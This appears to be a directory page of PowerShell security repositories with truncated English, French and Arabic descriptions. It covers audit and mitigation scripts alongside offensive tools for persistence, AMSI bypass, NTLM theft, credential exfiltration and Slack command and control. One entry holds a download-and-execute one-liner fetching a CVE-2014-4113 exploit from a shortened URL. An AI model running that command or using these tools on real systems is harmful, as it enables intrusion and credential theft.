exe2powershell

exe2powershell exe2powershell - exe2bat reborn for modern Windows exe2bat reborn in exe2powershell for modern Windows exe2powershell is used to convert any binary file .exe to a BAT file. The resulting BAT file contains only "echo" command and finally a powershell command to re-create the origina...

PSpersist

PSpersist Dépose d'un script PowerShell dans %HOMEPATH%\Documents\windowspowershell\ , contenant le chemin de l'implant, et à chaque création d'un processus PowerShell, l'implant sera également exécuté. DÉMO...

PowerShell-Deobfuscation-Exercise

Exercice de désobfuscation PowerShell Un exercice pour s'entraîner à désobfusquer des scripts PowerShell. Les noms de variables et de fonctions prennent tout leur sens une fois que vous désobfusquez un peu ! Je me trouve drôle 🤣 Vous pouvez tricher, retirer la dernière ligne et exécuter le script...

Wynis

Wynis Just a powershell scripts for auditing security with BEST Practices Windows env You just need to run the script, it will create a directory named : AUDITCONF%MACHINENAME%DATE% Actualy, the script are : -WynisWIN2016DC-CISv1.0 : Auditing DC 2016 with CIS -Wynis-AD : Auditing Domain Security...

VMwareCloak

VMwareCloak Un script PowerShell qui tente d'aider les analystes en malwares à masquer leurs VM Windows VMware aux malwares qui pourraient tenter d'échapper à l'analyse. Garanti de faire baisser vos scores pafish d'au moins quelques points ; Le script y parvient en effectuant les opérations...

PowerShell-Obfuscation-Bible

Bible de l'obfuscation PowerShell Une collection de techniques, d'exemples et un peu de théorie pour obfusquer manuellement des scripts PowerShell afin de contourner la détection basée sur les signatures, compilée à des fins éducatives. Le contenu de ce dépôt est le résultat de recherches...

cve-2020-1350

هذا سكريبت Powershell يقوم بسحب جميع خوادم AD الخاصة بالمجال الذي يتصل به جهازك. ثم يقوم بتعيين حل بديل لـ CVE 2020-1350 لـ DNS على تلك الخوادم وإعادة تشغيل DNS. ملاحظة!! سيقوم بإعادة تشغيل DNS، لذا قد تحتاج إلى نافذة صيانة لتشغيله. هذا الحل البديل لا يعني أنه يمكنك تجنب تثبيت التحديثات على خوادم...

PowerShell-for-Hackers

Hacker Hak5 de l'année 2022 Table des matières 1. Description 2. Les Fonctions 3. Contact 4. Remerciements Fonctions PowerShell pour les Hackers 🤓💻 Je suis actuellement le contributeur de payloads classé n°1 chez Hak5. J'ai décidé de créer ce dépôt pour partager toutes les fonctions que j'ai...

CypherDog

CypherDog4.3 PoSh BloodHound Dog Whisperer alias Cmdlets PowerShell pour interagir avec les données BloodHound via l'API HTTP Neo4j Compatible avec BloodHound 4.3+ et neo4j 4.4+...

CVE-2024-38063

CVE-2024-38063 script d'atténuation en désactivant ipv6 de toutes les interfaces COMMENT FAIRE Importer le script comme un module dans PowerShell élevé exécuter en tant qu'administrateur . .\CVE-2024-38063 Utiliser les fonctions Show-IPV6EnabledAdapters Afficher tous les adaptateurs qui ont IPV6...

netstat2neo4j

Netstat Visualization with Neo4j Description Graphs help to spot anomalies and patterns in large datasets. This script takes netstat information from multiple hosts and formats them in a way to make them importable into Neo4j. Neo4j can be queried for find connections to certain hosts, from certa...

CVE-2014-4113

CVE-2014-4113 باورشيل CVE-2014-4113 x64 Windows فقط iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بعد ورفع الامتيازات المحلية تسمى "PrintNightmare". تم إصدار برامج استغلال لإثبات المفهوم Python، C++ لقدرة تنفيذ التعليمات البرمجية عن بعد، و إصدار C...

GoAround

GoAround A tool that allows the generation of AMSI bypasses and the automatic obfuscation of PowerShell scripts using three different obfuscation methods. GoAround is licensed under the MIT license. Refer to LICENSE for more information. GoAround Liability disclaimer Installation User's guide How...

Invoke-LinkSpray

Invoke-LinkSpray Powershell script to create malicious SMB or WebDAV links to steal NTLM authentication. Takes UNC or local folder paths from a file specified by the -ShareList parameter. Optionally, -Depth can be used to specify how many folders to recurse when creating URL files. Also supports ...

CredPhish

CredPhish is a PowerShell script designed to invoke credential prompts and exfiltrate passwords. It relies on CredentialPicker to collect user passwords, Resolve-DnsName for DNS exfiltration, and Windows Defender's ConfigSecurityPolicy.exe to perform arbitrary GET requests. For a walkthrough, see...

CVE-2025-30406

الجزء الأول: ثغرة λ CVE-2025-30406.exe rce.txt...

SharpAppLocker

SharpAppLocker C port of the Get-AppLockerPolicy PowerShell cmdlet with extended features. Includes the ability to filter and search for a specific type of rules and actions. Useful when you already bypassed AppLocker initially and you don't want to leave PS logs Looking for a pre-compiled versio...

VBoxCloak

VBoxCloak A PowerShell script that attempts to help malware analysts hide their VirtualBox Windows VM's from malware that may be trying to evade analysis. Guaranteed to bring down your pafish ratings by at least a few points ; The script accomplishes this by doing the following: Renames several...

SlackShell

SlackShell الوصف وسجل التغييرات v1.0 تتضمن وحدة PowerShell هذه العديد من الدوال التي تستخدم Slack API لإنشاء قناة تحكم وأوامر command and control. الدالة الرئيسية، Start-Shell، ستتصل بقناة Slack يحددها المستخدم وتقوم بالمصادقة باستخدام توكن مصادقة API مقدم لفريق ومستخدم Slack معينين. سيتم بعد ذلك...